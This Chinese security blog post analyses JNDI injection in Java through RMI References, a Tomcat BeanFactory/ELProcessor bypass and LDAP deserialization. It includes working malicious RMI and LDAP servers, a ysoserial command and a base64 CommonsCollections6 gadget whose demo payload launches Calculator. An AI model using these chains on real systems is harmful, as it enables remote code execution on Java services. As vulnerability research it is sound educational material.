c1oud
昂波利玻玻
September 10th, 2022
JNDI全称为Java命名和目录接口。我们可以理解为JNDI提供了两个服务,即命名服务和目录服务。
命名服务将一个对象和一个名称进行绑定,然后放置到一个容器里面。当我们想要获取这个对象的时候,就可以通过容器来查找这个名称,从而获得这个对象。
目录服务就是将一些对象的属性放置到容器中,然后想要操作这个属性的时候,就通过容器来进行查找。
对比一下命名服务和目录服务,其实命名服务就是绑定对象,而目录服务就是绑定了对象的属性。在JNDI中,命名服务和目录服务是一起结合提供的,最容易理解的一个例子就是RMI。
在RMI的服务端,通常我们会将一个远程对象和一个名称进行绑定,然后将其注册到注册表里面。除了通过RMI来实现客户端从而获取到对象之外,还可以使用JNDI来获取对象。JNDI其实就是对这些提供了命名服务或者目录服务的逻辑进行了一个封装,例如上面的RMI,我们可以直接调用JNDI提供的lookup函数来远程获取,例如:lookup("rmi://127.0.0.1/bind");如果提供服务的是LDAP,我们同样可以通过lookup("ldap://127.0.0.1/")来进行访问。
在Java JDK里面提供了5个包,提供给JNDI的功能实现,分别是:
javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类; javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类; javax.naming.event:在命名目录服务器中请求事件通知; javax.naming.ldap:提供LDAP支持; javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
JNDI提供了一些API接口来实现查找和访问各种命名及目录服务,其中重点是这两个类:
InitialContext() 构建一个初始上下文。 InitialContext(boolean lazy) 构造一个初始上下文,并选择不初始化它。 InitialContext(Hashtable<?,?> environment) 使用提供的环境构建初始上下文。
在这JDK里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。
bind(Name name, Object obj) 将名称绑定到对象。 list(String name) 枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。 lookup(String name) 检索命名对象。 rebind(String name, Object obj) 将名称绑定到对象,覆盖任何现有绑定。 unbind(String name) 取消绑定命名对象。
该类也是在javax.naming的一个类,所以在能使用的JNDI的客户端才能利用这个漏洞。该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。通俗的说也就是可以在当前环境用外部类。
Reference(String className) 为类名为“className”的对象构造一个新的引用。 Reference(String className, RefAddr addr) 为类名为“className”的对象和地址构造一个新引用。 Reference(String className, RefAddr addr, String factory, String factoryLocation) 为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。 Reference(String className, String factory, String factoryLocation) 为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
参数1:className - 远程加载时所使用的类名
参数2:classFactory - 加载的class中需要实例化类的名称
参数3:classFactoryLocation - 提供classes数据的地址可以是file/ftp/http协议
这个参数1在这个链子中的意义不是很大,随便怎么填都不影响;他本来的作用应该是通过工厂类去加载的类的名字,但是在实例化工厂类的时候,就可以构造工厂类恶意的构造函数或者静态代码块等来实现rce了,所以没必要多此一举。
void add(int posn, RefAddr addr) 将地址添加到索引posn的地址列表中。 void add(RefAddr addr) 将地址添加到地址列表的末尾。 void clear() 从此引用中删除所有地址。 RefAddr get(int posn) 检索索引posn上的地址。 RefAddr get(String addrType) 检索地址类型为“addrType”的第一个地址。 Enumeration<RefAddr> getAll() 检索本参考文献中地址的列举。 String getClassName() 检索引用引用的对象的类名。 String getFactoryClassLocation() 检索此引用引用的对象的工厂位置。 String getFactoryClassName() 检索此引用引用对象的工厂的类名。 Object remove(int posn) 从地址列表中删除索引posn上的地址。 int size() 检索此引用中的地址数。 String toString() 生成此引用的字符串表示形式。
之前说过任何可以被远程调用方法的对象必须实现 java.rmi.Remote 接口,远程对象的实现类必须继承UnicastRemoteObject类。但由于Reference没有实现Remote接口,而且也没有继承UnicastRemoteObject类,所以不能作为一个远程对象绑定到Registry,所以后面用到的Reference需要使用ReferenceWrapper来对他的实例进行封装才可以远程调用
梳理了这些后来看看具体的实现
先编写恶意类calc:
calc
public class calc{ public calc() throws Exception{ Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator"); } }
把编译好的class文件随便放在一个文件夹里
接着编写服务端代码:
import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class server { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { String url = "http://127.0.0.1:8080/"; Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("zz", "calc", url); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("obj",referenceWrapper); System.out.println("running"); } }
代码意思就是把referenceWrapper这个对象绑定到了obj这个名字上
referenceWrapper
obj
最后来写客户端的:
import javax.naming.Context; import javax.naming.InitialContext; public class client { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); initialContext.lookup("rmi://127.0.0.1:1099/obj"); } }
弄完后在calc.class文件夹起一个8080端口的服务,然后运行服务端和客户端就可以弹出来了
整个利用流程如下:
如果出不来的话需要把客户端的java版本调小一点。高版本不支持,这个后面分析的时候说。接下来再看具体的分析流程
触发点在InitialContext类中的lookup方法:
InitialContext
lookup
public Object lookup(String name) throws NamingException { //getURLOrDefaultInitCtx函数会分析name的协议头返回对应协议的环境对象,此处返回Context对象的子类rmiURLContext对象 //然后在对应协议中去lookup搜索,我们进入lookup函数 return getURLOrDefaultInitCtx(name).lookup(name); }
里面返回的getURLOrDefaultInitCtx方法会根据传入的标识来返回一个URL上下文,然后调用了另一个lookup方法,先看看getURLOrDefaultInitCtx:
getURLOrDefaultInitCtx
URL
getURLOrDefaultInitCtx:
protected Context getURLOrDefaultInitCtx(Name name) throws NamingException { if (NamingManager.hasInitialContextFactoryBuilder()) { return getDefaultInitCtx(); } if (name.size() > 0) { String first = name.get(0); String scheme = getURLScheme(first); if (scheme != null) { Context ctx = NamingManager.getURLContext(scheme, myProps); if (ctx != null) { return ctx; } } } return getDefaultInitCtx(); }
getURLOrDefaultInitCtx函数会分析name的协议头返回对应协议的环境对象,此处返回Context对象的子类rmiURLContext对象,由于rmiURLContext里面没有lookup方法,但他继承的GenericURLContext类里面有lookup,所以再进入到GenericURLContext类里的lookup方法:
name
Context对象
rmiURLContext对象
rmiURLContext
GenericURLContext
GenericURLContext类里的lookup方法
public Object lookup(String var1) throws NamingException { //此处this为rmiURLContext类调用对应类的getRootURLContext类为解析RMI地址 //不同协议调用这个函数,根据之前getURLOrDefaultInitCtx(name)返回对象的类型不同,执行不同的getRootURLContext //进入不同的协议路线 ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);//获取RMI注册中心相关数据 Context var3 = (Context)var2.getResolvedObj();//获取注册中心对象 Object var4; try { var4 = var3.lookup(var2.getRemainingName());//去注册中心调用lookup查找,我们进入此处,传入name=obj } finally { var3.close(); } return var4; }
这里也很清晰,就是一个返回RMI的注册中心对象,接着再一次调用注册中心的lookup去查找我们之前传入url后面想要查找的对象obj。
这里的var3是一个注册中心RegistryContext对象,所以说它会进入到RegistryContext类中的lookup方法:
public Object lookup(Name var1) throws NamingException { if (var1.isEmpty()) { return new RegistryContext(this); } else {//判断来到这里 Remote var2; try { var2 = this.registry.lookup(var1.get(0));//RMI客户端与注册中心通讯,返回RMI服务端IP,地址等信息 } catch (NotBoundException var4) { throw new NameNotFoundException(var1.get(0)); } catch (RemoteException var5) { throw (NamingException)wrapRemoteException(var5).fillInStackTrace(); } return this.decodeObject(var2, var1.getPrefix(1));//我们进入此处 } }
这里也就是返回了RMI服务端的相关信息来通信以获取想要的对象,再进入到decodeObject方法里面:
decodeObject
private Object decodeObject(Remote var1, Name var2) throws NamingException { try { //注意到上面的服务端代码,我们在RMI服务端绑定的是一个Reference对象,世界线在这里变动 //如果是Reference对象会,进入var.getReference(),与RMI服务器进行一次连接,获取到远程class文件地址。 //如果是普通RMI对象服务,这里不会进行连接,只有在正式远程函数调用的时候才会连接RMI服务。 Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1; return NamingManager.getObjectInstance(var3, var2, this, this.environment); //获取reference对象进入此处 } catch (NamingException var5) { throw var5; } catch (RemoteException var6) { throw (NamingException)wrapRemoteException(var6).fillInStackTrace(); } catch (Exception var7) { NamingException var4 = new NamingException(); var4.setRootCause(var7); throw var4; } } }
也就是在这里才开始出现了转机,代码中可以看出,这里会判断是否是Reference对象,如果不是的话这里还不会与服务器连接,后面就是正常的与RMI服务端通信的过程;如果是Reference对象的话,会进入var.getReference(),与RMI服务器进行一次连接,获取到远程class文件地址。
Reference
var.getReference()
继续跟进,进入到NamingManager类中的getObjectInstance方法中:
NamingManager类
getObjectInstance方法
public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx,Hashtable<?,?> environment) throws Exception { // Use builder if installed ... // Use reference if possible Reference ref = null; if (refInfo instanceof Reference) {//满足 ref = (Reference) refInfo;//复制 } else if (refInfo instanceof Referenceable) {//不进入 ref = ((Referenceable)(refInfo)).getReference(); } Object answer; if (ref != null) {//进入此处 String f = ref.getFactoryClassName();//获取工厂类名 calc if (f != null) { //任意命令执行点1(构造函数、静态代码),进入此处 factory = getObjectFactoryFromReference(ref, f); if (factory != null) { //任意命令执行点2(覆写getObjectInstance), return factory.getObjectInstance(ref, name, nameCtx, environment); } return refInfo; } else { // if reference has no factory, check for addresses // containing URLs answer = processURLAddrs(ref, name, nameCtx, environment); if (answer != null) { return answer; } } }
继续跟进getObjectFactoryFromReference方法:
static ObjectFactory getObjectFactoryFromReference(Reference ref, String factoryName) throws IllegalAccessException,InstantiationException,MalformedURLException { Class clas = null; //尝试从本地获取该class try { clas = helper.loadClass(factoryName); } catch (ClassNotFoundException e) { // ignore and continue // e.printStackTrace(); } //如果不在本地classpath,从cosebase中获取class String codebase; if (clas == null && (codebase = ref.getFactoryClassLocation()) != null) { //此处codebase是我们在恶意RMI服务端中定义的http://127.0.0.1:80/ try { //从我们放置恶意class文件的web服务器中获取class文件 clas = helper.loadClass(factoryName, codebase); } catch (ClassNotFoundException e) { } } //实例化我们的恶意class文件 return (clas != null) ? (ObjectFactory) clas.newInstance() : null; }
注释中说的很清晰了,即会先在本地加载工厂类calc,如果loadClass没有在本地找到该类,则它会调用getFactoryClassLocation来获取远程URL地址,如果获取到的不为空,则这段代码:clas = helper.loadClass(factoryName, codebase);会直接根据远程URL地址使用类加载器URLClassLoader来加载calc类
工厂类calc
loadClass
getFactoryClassLocation
clas = helper.loadClass(factoryName, codebase)
URLClassLoader
calc类
最后的return (clas != null) ? (ObjectFactory) clas.newInstance() : null;会实例化之前的恶意calc类文件,而实例化会默认调用构造方法、静态代码块,所以这就可以成功完成整条链子的任意代码执行
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
回看下com/sun/naming/internal/VersionHelper.java#loadClass的代码,为什么他可以远程获取类:
com/sun/naming/internal/VersionHelper.java#loadClass
public Class<?> loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException { ClassLoader parent = getContextClassLoader(); ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); return loadClass(className, cl); }
可以看到确实是通过URLClassLoader来进行的远程动态类加载,实际上这种利用方式java在某些版本上是做了限制的,这个后面再讲。
最后总结一下流程:
在JNDI服务里,RMI服务端既可以直接绑定远程对象,也可以通过Reference来绑定一个外部的远程对象,当这个恶意的Reference对象绑定到RMI注册中心,且经过一系列的判断之后,RMI服务端就会通过getReference()方法来获取绑定对象的引用,然后当客户端通过lookup方法查找远程对象时,便会拿到相应的工厂类,最后就是进行实例化执行任意代码了
getReference()
最后我们来看一下,针对不同的JDK版本,官方给出了一些限制:
1、JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true,表示禁用自动加载远程类文件。
JDK 6u45
7u21之后
java.rmi.server.useCodebaseOnly
true
2、JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项。
JDK 6u141
7u131
8u121
com.sun.jndi.rmi.object.trustURLCodebase
false
RMI
CORBA
codebase
3、JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项
JDK 6u211
7u201
8u191
com.sun.jndi.ldap.object.trustURLCodebase
LDAP
这是Oracle官方对于Codebase的说明:https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/codebase.html
Oracle
Codebase
意思就是它会指定Java程序在网络上加载类的路径,把他设置为false后就不能远程加载了,具体可以在代码中调试来看。
而LDAP的利用方法和RMI的也大同小异,也只是协议的不同造成,这里就不过多演示了。接下来看看前面限制过是怎么绕过的。
绕过有这两种方法:
先来看下加载本地类的方法
高版本的Java无法通过远程的Codebase来加载恶意的工厂类,此时如果利用的是类是存在于CLASSPATH中的,那么在经过javax.naming.spi.NamingManager#getObjectFactoryFromReference时便会先在本地CLASSPATH里寻找是否存在该类,如果没有,则再总远程寻找,所以这就可以绕过版本限制
CLASSPATH
javax.naming.spi.NamingManager#getObjectFactoryFromReference
在找本地可利用类时,由于之前javax.naming.spi.NamingManager#getObjectFactoryFromReference最后的return语句存在类型转型,所以这个工厂类必须要实现javax.naming.spi.ObjectFactory接口;并且还要至少有个getObjectInstance()方法。但是在JDK提供的原生实现类里其实并没有操作空间。所以下面我们主要的思路就是在一些常用的框架或者组件中寻找可利用的ObjectFactory实现类。,最终,安全人员找到了org.apache.naming.factory.BeanFactory,且这个类存在于Tomcat的依赖里,所以应用很广泛
return
javax.naming.spi.ObjectFactory
getObjectInstance()
ObjectFactory
org.apache.naming.factory.BeanFactory
Tomcat
提示一下:之前远程加载的时候没有要求实现javax.naming.spi.ObjectFactory接口,是因为在命令执行点1:返回(ObjectFactory) clas.newInstance()的时候,newInstance()过后就已经完成攻击了,后面就算有报错也已经不影响了,而这里是要进入到第二个命令执行点,并且需要在getObjectInstance()方法里面有恶意代码执行的位置才可以。
(ObjectFactory) clas.newInstance()
pom依赖:
<dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.5.0</version> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-jasper-el</artifactId> <version>9.0.7</version> </dependency>
编写服务器代码:
import com.sun.jndi.rmi.registry.ReferenceWrapper; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import javax.naming.StringRefAddr; import org.apache.naming.ResourceRef; public class server { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099); ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null); resourceRef.add(new StringRefAddr("forceString", "x=eval")); resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\")")); ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef); registry.bind("obj", referenceWrapper); System.out.println("running"); } }
然后编写客户端:
import javax.naming.InitialContext; public class client { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); initialContext.lookup("rmi://127.0.0.1:1099/obj"); } }
运行服务端与客户端,可以成功绕过版本限制,弹出计算器
现在来看下调用流程:
调用栈 getObjectInstance:123, BeanFactory (org.apache.naming.factory) getObjectInstance:321, NamingManager (javax.naming.spi) decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry) lookup:138, RegistryContext (com.sun.jndi.rmi.registry) lookup:205, GenericURLContext (com.sun.jndi.toolkit.url) lookup:417, InitialContext (javax.naming) main:9, JNDI_Test (demo)
由于不能远程加载了,所以这里没有直接用Reference类,而是用了ResourceRef 类,ResourceRef 类是继承了Reference类的。所以前面的链子是一样的
ResourceRef
ResourceRef构造器的第七个参数factoryLocation是远程加载factory的地址,比如是一个url,这里将其设置为null,达到绕过ConfigurationException限制。
factoryLocation
factory
url
null
ConfigurationException
刚才说了前面链子的调用和之前的都差不多的,那么只是要着重看下javax.naming.spi.NamingManager#getObjectInstance的调用,之前说过它会通过getObjectFactoryFromReference来获取一个实例化的对象,除此之外,它还有一行代码:
javax.naming.spi.NamingManager#getObjectInstance
getObjectFactoryFromReference
return factory.getObjectInstance(ref, name, nameCtx,environment);
也就是如果能找到其他类的getObjectInstance方法,那么就可以进行进一步的调用了
getObjectInstance
接着来到org.apache.naming.factory.BeanFactory,它里面存在有getObjectInstance方法,即会调用它的这个方法
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException { if (obj instanceof ResourceRef) { NamingException ne; try { Reference ref = (Reference)obj; String beanClassName = ref.getClassName(); Class<?> beanClass = null; ClassLoader tcl = Thread.currentThread().getContextClassLoader(); if (tcl != null) { try { beanClass = tcl.loadClass(beanClassName); } catch (ClassNotFoundException var26) { } } else { try { beanClass = Class.forName(beanClassName); } catch (ClassNotFoundException var25) { var25.printStackTrace(); } } if (beanClass == null) { throw new NamingException("Class not found: " + beanClassName); } else { BeanInfo bi = Introspector.getBeanInfo(beanClass); PropertyDescriptor[] pda = bi.getPropertyDescriptors(); Object bean = beanClass.newInstance(); RefAddr ra = ref.get("forceString"); Map<String, Method> forced = new HashMap(); String value; String propName; int i; if (ra != null) { value = (String)ra.getContent(); Class<?>[] paramTypes = new Class[]{String.class}; String[] arr$ = value.split(","); i = arr$.length; for(int i$ = 0; i$ < i; ++i$) { String param = arr$[i$]; param = param.trim(); int index = param.indexOf(61); if (index >= 0) { propName = param.substring(index + 1).trim(); param = param.substring(0, index).trim(); } else { propName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1); } try { forced.put(param, beanClass.getMethod(propName, paramTypes)); } catch (SecurityException | NoSuchMethodException var24) { throw new NamingException("Forced String setter " + propName + " not found for property " + param); } } } Enumeration e = ref.getAll(); while(true) { while(true) { do { do { do { do { do { if (!e.hasMoreElements()) { return bean; } ra = (RefAddr)e.nextElement(); propName = ra.getType(); } while(propName.equals("factory")); } while(propName.equals("scope")); } while(propName.equals("auth")); } while(propName.equals("forceString")); } while(propName.equals("singleton")); value = (String)ra.getContent(); Object[] valueArray = new Object[1]; Method method = (Method)forced.get(propName); if (method != null) { valueArray[0] = value; try { method.invoke(bean, valueArray); } catch (IllegalArgumentException | InvocationTargetException | IllegalAccessException var23) { throw new NamingException("Forced String setter " + method.getName() + " threw exception for property " + propName); } } else { //省略部分代码 } } } } } //省略部分代码 } else { return null; } }
里面有反射的调用:method.invoke,里面的所有参数都来自Reference。
method.invoke
首先定义了目标类是Object bean = beanClass.newInstance();,这里指javax.el.ELProcessor,所以这里其实有两个本地类,ELProcessor类是最终执行方法的类
Object bean = beanClass.newInstance();
javax.el.ELProcessor
所以这里其实有两个本地类
ELProcessor
然后进入RefAddr ra = ref.get("forceString");,它会取出键值为forceString的值,然后进行拆分,拆分后,= 左边的参数会存入hashmap的key,后续会通过这个key来获取 = 右边的参数作为反射的method方法,这里可以让等号右边的值为javax.el.ELProcessor.eval方法
RefAddr ra = ref.get("forceString");
forceString
method
javax.el.ELProcessor.eval
然后在对构造的属性x赋值,赋值为需要执行的恶意代码就可以了
x
resourceRef.add(new StringRefAddr("forceString", "x=eval")); resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\")"));
最后执行是因为本地类javax.el.ELProcessor#eval方法能够执行el表达式,el表达式的格式是 ${表达式}这种格式的,调试的时候可以看到左下角的调用链,在反射调用eval后他其实是做了处理的,一步步调用把他包装成了合法格式。
javax.el.ELProcessor#eval
${表达式}
到此,本地调用的绕过就结束了,还有一点要注意:
javax.el.ELProcessor本身是Tomcat8中存在的库,所以仅限Tomcat8及更高版本环境下可以通过javax.el.ELProcessor进行攻击,对于使用广泛的SpringBoot应用来说,可被利用的Spring Boot Web Starter版本应在1.2.x及以上,因为1.1.x及1.0.x内置的是Tomcat7。
Tomcat8
SpringBoot
Spring Boot Web Starter
1.2.x
1.1.x及1.0.x内置的是Tomcat7
高版本JVM对Reference Factory远程加载类进行了安全限制,JVM不会信任LDAP对象反序列化过程中加载的远程类。此时,攻击者仍然可以利用受害者本地CLASSPATH中存在漏洞的反序列化Gadget达到绕过限制执行命令的目的。
JVM
Reference Factory
LDAP对
简而言之,LDAP Server除了使用JNDI Reference进行利用之外,还支持直接返回一个对象的序列化数据。如果Java对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化。其中具体的处理代码如下:
LDAP Server
NDI Reference
Java
javaSerializedData
obj.decodeObject()
if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) { ClassLoader cl = helper.getURLClassLoader(codebases); return deserializeObject((byte[])attr.get(), cl); }
可以看到这里有一个反序列化的操作,那么如果目标系统中存在着可利用的Gadgets所需的一些包(如Commons-Collections-3.2.1等),那么也就存在反序列化漏洞了。
假设目标环境存在Commons-Collections-3.2.1包,且存在JNDI的lookup()注入或Fastjson反序列化漏洞。
Commons-Collections-3.2.1包
JNDI的lookup()注入
Fastjson反序列化漏洞
pom包:
<dependencies> <dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>3.1.1</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> </dependencies>
使用ysoserial工具生成Commons-Collections这条Gadget并进行Base64编码输出:
ysoserial
Commons-Collections
Gadget
Base64
java -jar ysoserial.jar CommonsCollections6 '/System/Applications/Calculator.app/Contents/MacOS/Calculator'|base64
恶意LDAP服务器如下,如果是用自带的反序列化漏洞绕过限制的话只需要在javaSerializedData字段内填入刚刚生成的反序列化payload数据,其他数据可以随便填,但是url那里必须要是url的格式,后面需要有一个#接上随便一个类名,例如:http://123/#zz:
payload
http://123/#zz
import com.unboundid.util.Base64; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import java.text.ParseException; public class server { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main (String[] args) { String url = "http://vps:8000/#ExportObject"; int port = 1234; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; /** * */ public OperationInterceptor ( URL cb ) { this.codebase = cb; } /** * {@inheritDoc} * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) */ @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Exploit"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } // Payload1: 利用LDAP+Reference Factory // e.addAttribute("javaCodeBase", cbstring); // e.addAttribute("objectClass", "javaNamingReference"); // e.addAttribute("javaFactory", this.codebase.getRef()); // Payload2: 返回序列化Gadget try { e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=")); } catch (ParseException exception) { exception.printStackTrace(); } result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
客户端的代码:url要填对应的url,端口填上面设置的端口,后面的类也可以随便填
import javax.naming.InitialContext; public class client { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); initialContext.lookup("ldap://localhost:1234/qwe"); } }
测试的时候注意把客户端的版本调高再测试噢!
http://blog.o3ev.cn/yy/1278#tophttps://blog.csdn.net/gental_z/article/details/122303540https://www.cnblogs.com/nice0e3/p/13958047.html#0x03-jndi注入攻击https://xz.aliyun.com/t/6633https://kingx.me/Exploit-Java-Deserialization-with-RMI.htmlhttps://tttang.com/archive/1611/https://johnfrod.top/%E5%AE%89%E5%85%A8/%E9%AB%98%E4%BD%8Ejdk%E7%89%88%E6%9C%AC%E4%B8%ADjndi%E6%B3%A8%E5%85%A5/
JNDI概述
JNDI全称为Java命名和目录接口。我们可以理解为JNDI提供了两个服务,即命名服务和目录服务。
命名服务将一个对象和一个名称进行绑定,然后放置到一个容器里面。当我们想要获取这个对象的时候,就可以通过容器来查找这个名称,从而获得这个对象。
目录服务就是将一些对象的属性放置到容器中,然后想要操作这个属性的时候,就通过容器来进行查找。
对比一下命名服务和目录服务,其实命名服务就是绑定对象,而目录服务就是绑定了对象的属性。在JNDI中,命名服务和目录服务是一起结合提供的,最容易理解的一个例子就是RMI。
在RMI的服务端,通常我们会将一个远程对象和一个名称进行绑定,然后将其注册到注册表里面。除了通过RMI来实现客户端从而获取到对象之外,还可以使用JNDI来获取对象。JNDI其实就是对这些提供了命名服务或者目录服务的逻辑进行了一个封装,例如上面的RMI,我们可以直接调用JNDI提供的lookup函数来远程获取,例如:lookup("rmi://127.0.0.1/bind");如果提供服务的是LDAP,我们同样可以通过lookup("ldap://127.0.0.1/")来进行访问。
JNDI结构
在Java JDK里面提供了5个包,提供给JNDI的功能实现,分别是:
